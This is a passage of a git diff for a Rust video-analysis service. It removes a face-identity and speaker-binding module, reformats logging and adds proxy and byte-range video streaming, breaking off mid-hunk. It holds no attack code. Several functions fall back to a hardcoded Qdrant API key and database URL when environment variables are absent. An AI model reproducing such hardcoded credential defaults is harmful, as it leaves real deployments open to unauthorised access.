- let payload = serde_json::json!({"identity_id": identity_id}); - if let Err(e) = qdrant - .update_payload_by_filter("_faces", filter, payload) - .await - { - tracing::warn!( - "[match-from-trace] Qdrant update failed for trace {}: {}", - trace_id, - e - ); - } else if !traces_matched.contains(trace_id) { - traces_matched.push(*trace_id); - } - } - - // 5. Also bind the source trace itself - let filter = serde_json::json!({ - "must": [ - {"key": "file_uuid", "match": {"value": req.file_uuid}}, - {"key": "trace_id", "match": {"value": req.trace_id}} - ] - }); - let payload = serde_json::json!({"identity_id": identity_id}); - if let Err(e) = qdrant - .update_payload_by_filter("_faces", filter, payload) - .await - { - tracing::warn!( - "[match-from-trace] Qdrant update failed for source trace {}: {}", - req.trace_id, - e - ); - } - if !traces_matched.contains(&req.trace_id) { - traces_matched.push(req.trace_id); - } - - // 6. Save identity file - let _ = crate::core::identity::storage::save_identity_file(&*state.db, &uuid_clean).await; - - let match_count = validated.len() + 1; - let face_track_count = traces_matched.len(); - Ok(Json(MatchFromPhotoResponse { - success: true, - identity_uuid: uuid_clean, - file_uuid: req.file_uuid, - matches: match_count, - traces_matched, - message: format!( - "Matched {} faces ({} unique traces)", - match_count, face_track_count - ), - })) -} - -fn extract_persons_from_face_data(face_data: &serde_json::Value) -> Vec { - let mut persons = Vec::new(); - if let Some(frames) = face_data.get("frames").and_then(|f| f.as_array()) { - let mut person_frames_map: std::collections::HashMap> = - std::collections::HashMap::new(); - for frame in frames { - if let Some(frame_num) = frame.get("frame").and_then(|f| f.as_i64()) { - if let Some(person_id) = frame.get("person_id").and_then(|p| p.as_str()) { - person_frames_map - .entry(person_id.to_string()) - .or_insert_with(Vec::new) - .push(frame_num as i32); - } - } - } - for (person_id, frames) in person_frames_map { - persons.push(PersonData { - person_id, - frames, - avg_embedding: None, - }); - } - } - persons -} - -fn extract_speakers_from_asrx_data(asrx_data: &Option) -> Vec { - let mut speakers = Vec::new(); - if let Some(data) = asrx_data { - if let Some(segments) = data.get("segments").and_then(|s| s.as_array()) { - for seg in segments { - if let (Some(start), Some(end), Some(speaker_id)) = ( - seg.get("start_time").and_then(|v| v.as_f64()), - seg.get("end_time").and_then(|v| v.as_f64()), - seg.get("speaker_id").and_then(|v| v.as_str()), - ) { - speakers.push(SpeakerData { - speaker_id: speaker_id.to_string(), - segments: vec![(start, end)], - }); - } - } - } - } - speakers -} - -fn analyze_person_speaker_overlap( - persons: &[PersonData], - speakers: &[SpeakerData], -) -> Vec { - let mut identities: Vec = Vec::new(); - let mut visited_persons: std::collections::HashSet = std::collections::HashSet::new(); - - for person in persons { - if visited_persons.contains(&person.person_id) { - continue; - } - - let mut matched_persons = vec![person.person_id.clone()]; - let mut matched_speakers: Vec = Vec::new(); - visited_persons.insert(person.person_id.clone()); - - for other_person in persons { - if visited_persons.contains(&other_person.person_id) { - continue; - } - - // Check if persons co-occur in time (frame proximity) - let overlap = person - .frames - .iter() - .any(|f| other_person.frames.contains(f)); - if overlap { - matched_persons.push(other_person.person_id.clone()); - visited_persons.insert(other_person.person_id.clone()); - } - } - - // Check speaker overlap - let person_time_range = ( - person.frames.iter().min().copied().unwrap_or(0) as f64, - person.frames.iter().max().copied().unwrap_or(0) as f64, - ); - for speaker in speakers { - let has_overlap = speaker - .segments - .iter() - .any(|(start, end)| *start <= person_time_range.1 && *end >= person_time_range.0); - if has_overlap { - if !matched_speakers.contains(&speaker.speaker_id) { - matched_speakers.push(speaker.speaker_id.clone()); - } - } - } - - let frame_count = person.frames.len() as f64; - let speaker_overlap = if matched_speakers.is_empty() { - 0.0 - } else { - matched_speakers.len() as f64 / speakers.len().max(1) as f64 - }; - - identities.push(IdentityResult { - identity_id: person.person_id.clone(), - person_ids: matched_persons.clone(), - speaker_ids: matched_speakers.clone(), - confidence: 0.5 + (speaker_overlap * 0.3), - evidence: IdentityEvidence { - face_similarity: None, - speaker_overlap, - time_overlap: 1.0, - frame_ratio: frame_count / 100.0, - }, - reasoning: format!( - "Matched {} persons with {} speakers, overlap={:.2}", - matched_persons.len(), - speaker_overlap, - speaker_overlap - ), - }); - } - - identities -} - -#[derive(Debug)] -struct PersonData { - person_id: String, - frames: Vec, - avg_embedding: Option>, -} - -#[derive(Debug)] -struct SpeakerData { - speaker_id: String, - segments: Vec<(f64, f64)>, -} - -fn cosine_similarity(a: &[f32], b: &[f32]) -> f32 { - if a.len() != b.len() || a.is_empty() { - return 0.0; - } - let dot: f32 = a.iter().zip(b).map(|(x, y)| x * y).sum(); - let na: f32 = a.iter().map(|x| x * x).sum::().sqrt(); - let nb: f32 = b.iter().map(|x| x * x).sum::().sqrt(); - if na == 0.0 || nb == 0.0 { - 0.0 - } else { - dot / (na * nb) - } -} - -fn average_embeddings<'a>(embeddings: impl Iterator>) -> Vec { - let mut count = 0usize; - let mut sum: Option> = None; - for emb in embeddings { - if emb.len() != 512 { - continue; - } - match &mut sum { - None => sum = Some(emb.clone()), - Some(s) => { - for (i, v) in emb.iter().enumerate() { - s[i] += v; - } - } - } - count += 1; - } - if let Some(mut s) = sum { - let c = count as f32; - for v in &mut s { - *v /= c; - } - s - } else { - vec![0.0f32; 512] - } -} - -/// Cluster: trace centroid + seeds from Qdrant + stranger clustering. -/// Round 1: centroid vs seeds (TH=0.55) -/// Round 2+: propagate from matched (TH=0.50) -/// Unknown: greedy stranger clustering (TH=0.40) -/// Writes identity_ref/stranger_ref to Qdrant payload, TKG nodes, and face_detections. -async fn match_faces_iterative(pool: &sqlx::PgPool, file_uuid: &str) -> anyhow::Result { - use crate::core::processor::executor::PythonExecutor; - use std::time::Duration; - - let executor = PythonExecutor::new()?; - - let output_dir = std::env::var("MOMENTRY_OUTPUT_DIR") - .unwrap_or_else(|_| "/Users/accusys/momentry/output".to_string()); - - let output_path = std::path::PathBuf::from(&output_dir) - .join(file_uuid) - .join(format!("{}.identity_match_round1.json", file_uuid)); - - std::fs::create_dir_all(output_path.parent().unwrap()).ok(); - - let scripts_dir = executor.script_dir(); - let python_path = executor.python_path(); - let script_path = scripts_dir.join("identity_matcher.py"); - - let qdrant_url = - std::env::var("QDRANT_URL").unwrap_or_else(|_| "http://localhost:6333".to_string()); - let qdrant_api_key = - std::env::var("QDRANT_API_KEY").unwrap_or_else(|_| "Test3200Test3200Test3200".to_string()); - let db_url = std::env::var("DATABASE_URL") - .unwrap_or_else(|_| "postgresql://accusys@localhost:5432/momentry".to_string()); - - let db_schema = std::env::var("DATABASE_SCHEMA").unwrap_or_else(|_| "public".to_string()); - let mut cmd = tokio::process::Command::new(python_path); - cmd.env("MOMENTRY_OUTPUT_DIR", &output_dir); - cmd.env("DATABASE_SCHEMA", &db_schema); - cmd.env("MOMENTRY_DB_SCHEMA", &db_schema); - cmd.env("DATABASE_URL", &db_url); - cmd.env("QDRANT_URL", &qdrant_url); - cmd.env("QDRANT_API_KEY", &qdrant_api_key); - cmd.arg(&script_path); - cmd.arg("--file-uuid").arg(file_uuid); - cmd.arg("--round").arg("1"); - cmd.arg("--mark-tkg"); - cmd.arg("--output").arg(&output_path); - - cmd.stdout(std::process::Stdio::piped()); - cmd.stderr(std::process::Stdio::piped()); - - tracing::info!("[FaceMatch] Starting identity_matcher for {}", file_uuid); - - let output = cmd.output().await?; - - let stdout = String::from_utf8_lossy(&output.stdout); - let stderr = String::from_utf8_lossy(&output.stderr); - - if !output.status.success() { - tracing::error!( - "[FaceMatch] identity_matcher failed with exit code: {:?}", - output.status.code() - ); - tracing::error!("[FaceMatch] stderr: {}", stderr); - tracing::error!("[FaceMatch] stdout: {}", stdout); - return Ok(0); - } - - tracing::info!("[FaceMatch] stdout: {}", stdout); - - if !output_path.exists() { - tracing::info!("[FaceMatch] No matches found for {}", file_uuid); - return Ok(0); - } - - let content = std::fs::read_to_string(&output_path)?; - let result: serde_json::Value = serde_json::from_str(&content)?; - - let matched = result.get("matched").and_then(|v| v.as_i64()).unwrap_or(0) as usize; - let tkg_updated = result - .get("tkg_nodes_updated") - .and_then(|v| v.as_i64()) - .unwrap_or(0) as usize; - - tracing::info!( - "[FaceMatch] Round 1 for {}: {} matches, {} TKG nodes updated", - file_uuid, - matched, - tkg_updated - ); - - Ok(matched) -} - -/// Fallback: PostgreSQL-based matching (disabled - embedding column removed) -async fn match_faces_iterative_pg(pool: &sqlx::PgPool, file_uuid: &str) -> anyhow::Result { - tracing::warn!( - "[FaceMatch-PG] PostgreSQL matching disabled - embedding column removed for {}", - file_uuid - ); - Ok(0) -} - -/// Bind ASRX speakers to face traces based on temporal overlap. -/// Reads face_detections (trace_id, identity_id, frame_number) and ASRX -/// segments (speaker_id, start_time, end_time), computes overlap, -/// and stores bindings in identity_bindings table. -pub async fn bind_speakers(pool: &sqlx::PgPool, file_uuid: &str) -> anyhow::Result { - use crate::core::db::qdrant_db::QdrantDb; - use serde_json::json; - - // Load face traces with identity_id from Qdrant _faces - let qdrant = QdrantDb::new(); - let trace_filter = json!({ - "must": [ - {"key": "file_uuid", "match": {"value": file_uuid}}, - {"key": "identity_id", "exists": true}, - {"key": "trace_id", "match": {"value": 1}} - ] - }); - let points = qdrant - .scroll_all_points("_faces", trace_filter, 500) - .await - .unwrap_or_default(); - - // Group by trace_id, collect frames - let mut traces: HashMap> = HashMap::new(); - for point in &points { - let payload = &point["payload"]; - let trace_id = payload["trace_id"].as_i64().unwrap_or(0) as i32; - let frame = payload["frame"].as_i64().unwrap_or(0); - traces.entry(trace_id).or_default().push(frame); - } - - // Sort frames per trace - for frames in traces.values_mut() { - frames.sort(); - } - - if traces.is_empty() { - tracing::info!("[SpeakerBind] No face traces with identities"); - return Ok(0); - } - - // Load ASRX speakers from the output JSON - let output_dir = std::env::var("MOMENTRY_OUTPUT_DIR") - .unwrap_or_else(|_| "/Users/accusys/momentry/output".to_string()); - let asrx_path = std::path::Path::new(&output_dir).join(format!("{}.asrx.json", file_uuid)); - - let asrx_data: serde_json::Value = match std::fs::read_to_string(&asrx_path) { - Ok(s) => serde_json::from_str(&s).unwrap_or_default(), - Err(_) => { - tracing::info!("[SpeakerBind] No ASRX file found"); - return Ok(0); - } - }; - - // Extract speaker segments: speaker_id → [(start_time, end_time)] - use std::collections::HashMap; - let mut speakers: HashMap> = HashMap::new(); - if let Some(segments) = asrx_data.get("segments").and_then(|s| s.as_array()) { - for seg in segments { - let sid = seg - .get("speaker_id") - .and_then(|s| s.as_str()) - .or_else(|| seg.get("speaker").and_then(|s| s.as_str())); - if let Some(sid) = sid { - let start = seg - .get("start_time") - .or_else(|| seg.get("start")) - .and_then(|v| v.as_f64()) - .unwrap_or(0.0); - let end = seg - .get("end_time") - .or_else(|| seg.get("end")) - .and_then(|v| v.as_f64()) - .unwrap_or(0.0); - speakers - .entry(sid.to_string()) - .or_default() - .push((start, end)); - } - } - } - - if speakers.is_empty() { - tracing::info!("[SpeakerBind] No speakers found in ASRX data"); - return Ok(0); - } - - // Compute fps from video table - let fps: f64 = - sqlx::query_scalar::<_, f64>("SELECT COALESCE(fps, 25.0) FROM videos WHERE file_uuid=$1") - .bind(file_uuid) - .fetch_optional(pool) - .await - .ok() - .flatten() - .unwrap_or(25.0); - - tracing::info!( - "[SpeakerBind] Using fps={:.3} for {} ({} traces)", - fps, - file_uuid, - traces.len() - ); - - // For each trace, compute overlap with each speaker - let mut bindings = 0usize; - for (trace_id, frames) in &traces { - if frames.is_empty() { - continue; - } - - // Get identity_id for this trace from Qdrant payload - let identity_id: Option = points - .iter() - .find(|p| { - p["payload"]["trace_id"].as_i64() == Some(*trace_id as i64) - && p["payload"]["identity_id"].as_i64().is_some() - && p["payload"]["identity_id"].as_i64().unwrap() > 0 - }) - .and_then(|p| p["payload"]["identity_id"].as_i64()) - .map(|id| id as i32); - - if identity_id.is_none() { - continue; - } - let identity_id = identity_id.unwrap(); - - // Compute overlap with each speaker - let mut best_speaker = String::new(); - let mut best_overlap = 0usize; - - for (speaker_id, segments) in &speakers { - let mut overlap = 0usize; - for &fn_num in frames { - let frame_time = fn_num as f64 / fps; - for (start, end) in segments { - if frame_time >= *start && frame_time <= *end { - overlap += 1; - break; - } - } - } - if overlap > best_overlap { - best_overlap = overlap; - best_speaker = speaker_id.clone(); - } - } - - // Only bind if meaningful overlap - let overlap_ratio = best_overlap as f64 / frames.len() as f64; - if overlap_ratio > 0.3 && !best_speaker.is_empty() { - let metadata = serde_json::json!({ - "trace_id": trace_id, - "overlap_frames": best_overlap, - "total_frames": frames.len(), - "overlap_ratio": overlap_ratio, - }); - - let ib_table = schema::table_name("identity_bindings"); - if let Err(e) = sqlx::query( - &format!("INSERT INTO {} (identity_id, identity_type, identity_value, confidence, metadata) \ - VALUES ($1, 'speaker', $2, $3, $4::jsonb) \ - ON CONFLICT (identity_id, identity_type, identity_value) \ - DO UPDATE SET confidence = EXCLUDED.confidence, metadata = EXCLUDED.metadata", ib_table) - ) - .bind(identity_id) - .bind(&best_speaker) - .bind(overlap_ratio) - .bind(&metadata) - .execute(pool).await - { - tracing::error!("[SpeakerBind] INSERT failed for trace_id={}, identity_id={}, speaker={}: {}", trace_id, identity_id, best_speaker, e); - } - - // Also update speaker_detections with the identity_id - let sd_table = schema::table_name("speaker_detections"); - let _ = sqlx::query(&format!( - "UPDATE {} SET identity_id = $1, confidence = $2 \ - WHERE file_uuid = $3 AND speaker_id = $4 AND identity_id IS NULL", - sd_table - )) - .bind(identity_id) - .bind(overlap_ratio) - .bind(file_uuid) - .bind(&best_speaker) - .execute(pool) - .await; - - bindings += 1; - } - } - - tracing::info!( - "[SpeakerBind] Created {}/{} speaker bindings", - bindings, - traces.len() - ); - Ok(bindings) -} - -/// Pipeline-triggered entry point: runs the full identity agent for a file. -/// Reads face_clustered.json + asrx.json, extracts persons/speakers, creates identities, -/// runs iterative face matching, and binds speakers. -pub async fn run_identity_agent( - db: &PostgresDb, - file_uuid: &str, - redis: Option>, -) -> anyhow::Result<()> { - let output_dir = std::env::var("MOMENTRY_OUTPUT_DIR") - .unwrap_or_else(|_| "/Users/accusys/momentry/output".to_string()); - - let pool = db.pool(); - - let mut progress = AgentProgress::new(file_uuid); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - // Step 1: Face matching (iterative TMDb matching) - progress.update_phase(AgentPhase::TmdbMatching, 0.3, "Running face matching..."); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - let matched = match_faces_iterative(pool, file_uuid).await.unwrap_or(0); - progress.stats.tmdb_matches = matched as i64; - progress.update_phase( - AgentPhase::TmdbMatching, - 1.0, - &format!("Face matching: {} matches", matched), - ); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - // Step 2: Load face_clustered.json and create identities - progress.update_phase(AgentPhase::FaceClustering, 0.5, "Loading face clusters..."); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - let video_dir = PathBuf::from(&output_dir).join(file_uuid); - let face_clustered_path = video_dir.join(format!("{}.face_clustered.json", file_uuid)); - let face_clustered_path = if face_clustered_path.exists() { - face_clustered_path - } else { - PathBuf::from(&output_dir).join(format!("{}.face_clustered.json", file_uuid)) - }; - - if face_clustered_path.exists() { - let face_data: serde_json::Value = - std::fs::read_to_string(&face_clustered_path)?.parse()?; - let asrx_path = video_dir.join(format!("{}.asrx.json", file_uuid)); - let asrx_data: Option = if asrx_path.exists() { - Some(std::fs::read_to_string(&asrx_path)?.parse()?) - } else { - None - }; - - let persons = extract_persons_from_face_data(&face_data); - let speakers = extract_speakers_from_asrx_data(&asrx_data); - let identities = analyze_person_speaker_overlap(&persons, &speakers); - - progress.stats.clusters = identities.len() as i64; - - let _ = identities.len(); - if !identities.is_empty() { - let metadata = serde_json::json!({ - "source": "identity_agent", - "speaker_ids": identities[0].speaker_ids, - "confidence": identities[0].confidence, - "evidence": { - "speaker_overlap": identities[0].evidence.speaker_overlap, - "frame_ratio": identities[0].evidence.frame_ratio, - }, - "reasoning": identities[0].reasoning, - }); - let _ = sqlx::query(&format!( - "INSERT INTO {} (file_uuid, trace_id, metadata) \ - VALUES ($1, NULL, $2::jsonb) ON CONFLICT DO NOTHING", - schema::table_name("strangers") - )) - .bind(file_uuid) - .bind(&metadata) - .execute(pool) - .await; - } - progress.stats.identities_created = identities.len() as i64; - progress.update_phase( - AgentPhase::IdentityCreation, - 1.0, - &format!("Created {} identities from clusters", identities.len()), - ); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - tracing::info!( - "[IdentityAgent] Analyzed {} face clusters from face_clustered for {}", - identities.len(), - file_uuid - ); - } else { - tracing::warn!( - "[IdentityAgent] face_clustered.json not found for {}, skipping identity creation", - file_uuid - ); - progress.update_phase(AgentPhase::IdentityCreation, 0.0, "No face_clustered.json"); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - } - - // Step 3: Speaker binding - progress.update_phase(AgentPhase::SpeakerBinding, 0.5, "Binding speakers..."); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - let bound = bind_speakers(pool, file_uuid).await.unwrap_or(0); - progress.stats.speaker_bindings = bound as i64; - progress.update_phase( - AgentPhase::SpeakerBinding, - 1.0, - &format!("Speaker binding: {} bound", bound), - ); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - progress.mark_completed(); - if let Some(r) = redis.as_ref() { - publish_agent_progress(&r, file_uuid, &progress).await; - } - - tracing::info!( - "[IdentityAgent] Done for {}: {} face matches, {} speaker bindings", - file_uuid, - matched, - bound - ); - Ok(()) -} - -/// API handler: POST /api/v1/agents/identity/generate-seeds -async fn generate_seeds_handler( - State(state): State, -) -> Result, (StatusCode, Json)> { - let db = &state.db; - let pool = db.pool(); - - let count = generate_seed_embeddings(db).await.map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"success": false, "message": format!("{}", e)})), - ) - })?; - - // Auto-trigger identity agent for all ready files - if count > 0 { - let ready_files = find_ready_files(pool).await.unwrap_or_default(); - if !ready_files.is_empty() { - tracing::info!( - "[GenerateSeeds] Auto-triggering identity agent for {} files: {:?}", - ready_files.len(), - ready_files - ); - for file_uuid in &ready_files { - let db = state.db.clone(); - let redis = crate::core::db::RedisClient::new().ok().map(Arc::new); - let fid = file_uuid.clone(); - tokio::spawn(async move { - match run_identity_agent(&db, &fid, redis).await { - Ok(_) => { - tracing::info!("[GenerateSeeds] Identity agent completed for {}", fid) - } - Err(e) => tracing::warn!( - "[GenerateSeeds] Identity agent failed for {}: {}", - fid, - e - ), - } - }); - } - } - } - - Ok(Json(serde_json::json!({ - "success": true, - "message": format!("Generated {} seed embeddings", count), - "count": count - }))) -} - -/// Find videos that are ready for identity processing (have face embeddings in Qdrant). -async fn find_ready_files(pool: &sqlx::PgPool) -> anyhow::Result> { - use crate::core::db::qdrant_db::QdrantDb; - use serde_json::json; - - let qdrant = QdrantDb::new(); - // Find files with faces that don't have identity_id set - let filter = json!({ - "must": [ - {"key": "identity_id", "match": {"value": null}} - ] - }); - let points = qdrant - .scroll_all_points("_faces", filter, 1000) - .await - .unwrap_or_default(); - - let mut file_uuids: std::collections::HashSet = std::collections::HashSet::new(); - for point in &points { - if let Some(fu) = point["payload"]["file_uuid"].as_str() { - file_uuids.insert(fu.to_string()); - } - } - - Ok(file_uuids.into_iter().collect()) -} - -/// API handler: POST /api/v1/agents/identity/run -async fn run_identity_handler( - State(state): State, - axum::Json(body): axum::Json, -) -> Result, (StatusCode, Json)> { - let file_uuid = body - .get("file_uuid") - .and_then(|v| v.as_str()) - .ok_or_else(|| { - ( - StatusCode::BAD_REQUEST, - Json(serde_json::json!({"success": false, "message": "file_uuid required"})), - ) - })?; - - let redis = crate::core::db::RedisClient::new().ok().map(Arc::new); - match run_identity_agent(&state.db, file_uuid, redis).await { - Ok(()) => Ok(Json(serde_json::json!({ - "success": true, - "message": format!("Identity agent completed for {}", file_uuid), - }))), - Err(e) => Ok(Json(serde_json::json!({ - "success": false, - "message": format!("Identity agent failed: {}", e), - }))), - } -} - -#[derive(Debug, Deserialize)] -struct ConfirmIdentityRequest { - file_uuid: String, - trace_id: i32, - identity_id: i32, - identity_uuid: String, - name: String, - propagate: Option, -} - -#[derive(Debug, Serialize)] -struct ConfirmIdentityResponse { - success: bool, - file_uuid: String, - trace_id: i32, - identity_uuid: String, - name: String, - steps: serde_json::Value, - propagation: Option, -} - -async fn confirm_identity_handler( - State(_state): State, - Json(req): Json, -) -> Result, (StatusCode, Json)> { - use crate::core::processor::executor::PythonExecutor; - - let executor = PythonExecutor::new().map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({"success": false, "message": format!("PythonExecutor error: {}", e)})), - ) - })?; - - let scripts_dir = executor.script_dir(); - let python_path = executor.python_path(); - let script_path = scripts_dir.join("confirm_identity.py"); - - let qdrant_url = - std::env::var("QDRANT_URL").unwrap_or_else(|_| "http://localhost:6333".to_string()); - let qdrant_api_key = - std::env::var("QDRANT_API_KEY").unwrap_or_else(|_| "Test3200Test3200Test3200".to_string()); - let db_url = std::env::var("DATABASE_URL") - .unwrap_or_else(|_| "postgresql://accusys@localhost:5432/momentry".to_string()); - let db_schema = std::env::var("DATABASE_SCHEMA").unwrap_or_else(|_| "dev".to_string()); - - let propagate = req.propagate.unwrap_or(true); - - let mut cmd = tokio::process::Command::new(python_path); - cmd.env("DATABASE_URL", &db_url); - cmd.env("DATABASE_SCHEMA", &db_schema); - cmd.env("MOMENTRY_DB_SCHEMA", &db_schema); - cmd.env("QDRANT_URL", &qdrant_url); - cmd.env("QDRANT_API_KEY", &qdrant_api_key); - cmd.arg(&script_path); - cmd.arg("--file-uuid").arg(&req.file_uuid); - cmd.arg("--trace-id").arg(req.trace_id.to_string()); - cmd.arg("--identity-id").arg(req.identity_id.to_string()); - cmd.arg("--identity-uuid").arg(&req.identity_uuid); - cmd.arg("--name").arg(&req.name); - - if !propagate { - cmd.arg("--no-propagate"); - } - - cmd.stdout(std::process::Stdio::piped()); - cmd.stderr(std::process::Stdio::piped()); - - tracing::info!( - "[ConfirmIdentity] Starting for {} trace {} -> {} ({})", - req.file_uuid, - req.trace_id, - req.identity_uuid, - req.name - ); - - let output = cmd.output().await.map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json( - serde_json::json!({"success": false, "message": format!("Command failed: {}", e)}), - ), - ) - })?; - - let stdout = String::from_utf8_lossy(&output.stdout); - let stderr = String::from_utf8_lossy(&output.stderr); - - if !output.status.success() { - tracing::error!( - "[ConfirmIdentity] Script failed with exit code: {:?}", - output.status.code() - ); - tracing::error!("[ConfirmIdentity] stderr: {}", stderr); - tracing::error!("[ConfirmIdentity] stdout: {}", stdout); - return Err(( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({ - "success": false, - "message": format!("Script failed: {}", stderr), - "stdout": stdout.to_string(), - })), - )); - } - - tracing::info!("[ConfirmIdentity] stdout: {}", stdout); - - let json_start = stdout.find('{'); - if json_start.is_none() { - return Err(( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({ - "success": false, - "message": "No JSON output found", - "stdout": stdout.to_string(), - })), - )); - } - let json_str = &stdout[json_start.unwrap()..]; - - let result: serde_json::Value = serde_json::from_str(json_str).map_err(|e| { - ( - StatusCode::INTERNAL_SERVER_ERROR, - Json(serde_json::json!({ - "success": false, - "message": format!("Failed to parse output: {}", e), - "stdout": stdout.to_string(), - "json_str": json_str.to_string(), - })), - ) - })?; - - Ok(Json(ConfirmIdentityResponse { - success: result.get("status").and_then(|v| v.as_str()) == Some("success"), - file_uuid: req.file_uuid, - trace_id: req.trace_id, - identity_uuid: req.identity_uuid, - name: req.name, - steps: result - .get("steps") - .cloned() - .unwrap_or(serde_json::json!({})), - propagation: result.get("propagation").cloned(), - })) -} - -/// Read all TMDb identities with profile photos, extract face embeddings, store in Qdrant as seeds. -pub async fn generate_seed_embeddings(db: &PostgresDb) -> anyhow::Result { - tracing::warn!( - "[GenerateSeeds] Seed embedding generation disabled - FaceEmbeddingDb removed. \ - TODO: Reimplement with _faces collection" - ); - Ok(0) -} diff --git a/src/api/identity_binding.rs b/src/api/identity_binding.rs index a72a2a1..09b5f9a 100644 --- a/src/api/identity_binding.rs +++ b/src/api/identity_binding.rs @@ -326,7 +326,11 @@ pub async fn unbind_identity( .await; match &result { - Ok(r) => tracing::info!("[unbind_identity] TKG update: {} rows affected for trace {}", r.rows_affected(), tid), + Ok(r) => tracing::info!( + "[unbind_identity] TKG update: {} rows affected for trace {}", + r.rows_affected(), + tid + ), Err(e) => tracing::error!("[unbind_identity] TKG update failed: {}", e), } } @@ -923,7 +927,11 @@ pub async fn bind_identity_trace( .await; match &result { - Ok(r) => tracing::info!("[bind_identity_trace] TKG update: {} rows affected for trace {}", r.rows_affected(), req.trace_id), + Ok(r) => tracing::info!( + "[bind_identity_trace] TKG update: {} rows affected for trace {}", + r.rows_affected(), + req.trace_id + ), Err(e) => tracing::error!("[bind_identity_trace] TKG update failed: {}", e), } diff --git a/src/api/media_api.rs b/src/api/media_api.rs index eb5af87..9ab98e5 100644 --- a/src/api/media_api.rs +++ b/src/api/media_api.rs @@ -666,19 +666,31 @@ async fn stream_video( use tokio::io::{AsyncReadExt, AsyncSeekExt}; let (_mode, audio) = parse_video_params(¶ms); + let use_original = params.get("original").map(|v| v == "true").unwrap_or(false); let videos_table = schema::table_name("videos"); - let row: Option<(String,)> = sqlx::query_as(&format!( - "SELECT file_path FROM {} WHERE file_uuid = $1", + let row: Option<(String, Option)> = sqlx::query_as(&format!( + "SELECT file_path, proxy_path FROM {} WHERE file_uuid = $1", videos_table )) .bind(&file_uuid) .fetch_optional(state.db.pool()) .await .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; - let (file_path,) = row.ok_or(StatusCode::NOT_FOUND)?; + let (file_path, proxy_path) = row.ok_or(StatusCode::NOT_FOUND)?; - let src = std::path::PathBuf::from(&file_path); + // Use proxy if available and not explicitly requesting original + let effective_path = if !use_original { + proxy_path + .as_ref() + .filter(|p| std::path::Path::new(p).exists()) + .unwrap_or(&file_path) + .clone() + } else { + file_path.clone() + }; + + let src = std::path::PathBuf::from(&effective_path); if !src.exists() { return Err(StatusCode::NOT_FOUND); } @@ -723,7 +735,7 @@ async fn stream_video( let tmp_str = tmp.to_str().unwrap_or("").to_string(); let ss = start_sec.to_string(); let d = dur.to_string(); - let mut chunk_args = vec!["-ss", &ss, "-i", &file_path, "-t", &d, "-c", "copy"]; + let mut chunk_args = vec!["-ss", &ss, "-i", &effective_path, "-t", &d, "-c", "copy"]; if audio == "off" { chunk_args.push("-an"); } @@ -736,15 +748,57 @@ async fn stream_video( let _ = std::fs::remove_file(&tmp); return Err(StatusCode::INTERNAL_SERVER_ERROR); } - let data = tokio::fs::read(&tmp) + let clip_size = tokio::fs::metadata(&tmp) .await + .map(|m| m.len()) .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; - let _ = std::fs::remove_file(&tmp); - return Ok(Response::builder() - .header(header::CONTENT_TYPE, "video/mp4") - .header(header::CONTENT_LENGTH, data.len()) - .body(Body::from(data)) - .unwrap()); + + let range_hdr = request + .headers() + .get(header::RANGE) + .and_then(|v| v.to_str().ok()); + + if let Some(range_str) = range_hdr { + let (start, end) = parse_range(range_str, clip_size); + let length = end - start + 1; + let mut file = tokio::fs::File::open(&tmp) + .await + .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; + file.seek(std::io::SeekFrom::Start(start)) + .await + .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; + let take = file.take(length); + let stream = tokio_util::io::ReaderStream::new(take); + let body = Body::from_stream(stream); + let resp = Response::builder() + .status(StatusCode::PARTIAL_CONTENT) + .header(header::CONTENT_TYPE, "video/mp4") + .header( + header::CONTENT_RANGE, + format!("bytes {}-{}/{}", start, end, clip_size), + ) + .header(header::CONTENT_LENGTH, length) + .header(header::ACCEPT_RANGES, "bytes") + .body(body) + .unwrap(); + let tmp_path = tmp.clone(); + tokio::spawn(async move { + tokio::time::sleep(std::time::Duration::from_secs(30)).await; + let _ = tokio::fs::remove_file(&tmp_path).await; + }); + return Ok(resp); + } else { + let data = tokio::fs::read(&tmp) + .await + .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; + let _ = tokio::fs::remove_file(&tmp).await; + return Ok(Response::builder() + .header(header::CONTENT_TYPE, "video/mp4") + .header(header::CONTENT_LENGTH, data.len()) + .header(header::ACCEPT_RANGES, "bytes") + .body(Body::from(data)) + .unwrap()); + } } // Full file streaming with range request support @@ -1391,8 +1445,7 @@ async fn get_pose_handler( use std::collections::HashMap as StdHashMap; let output_dir = OUTPUT_DIR.as_str(); - let pose_path = std::path::Path::new(output_dir) - .join(format!("{}.pose.json", file_uuid)); + let pose_path = std::path::Path::new(output_dir).join(format!("{}.pose.json", file_uuid)); if !pose_path.exists() { tracing::error!("[get_pose] File not found: {}", pose_path.display()); @@ -1409,7 +1462,10 @@ async fn get_pose_handler( StatusCode::INTERNAL_SERVER_ERROR })?; - let frames = data.get("frames").and_then(|v| v.as_array()).ok_or(StatusCode::NOT_FOUND)?; + let frames = data + .get("frames") + .and_then(|v| v.as_array()) + .ok_or(StatusCode::NOT_FOUND)?; let frame_data = frames .iter() @@ -1440,39 +1496,61 @@ async fn get_pose_handler( if let Some(existing) = unique_kps.get(name) { if conf > existing.confidence { - unique_kps.insert(name.to_string(), PoseKeypoint { + unique_kps.insert( + name.to_string(), + PoseKeypoint { + name: name.to_string(), + x, + y, + confidence: conf, + }, + ); + } + } else { + unique_kps.insert( + 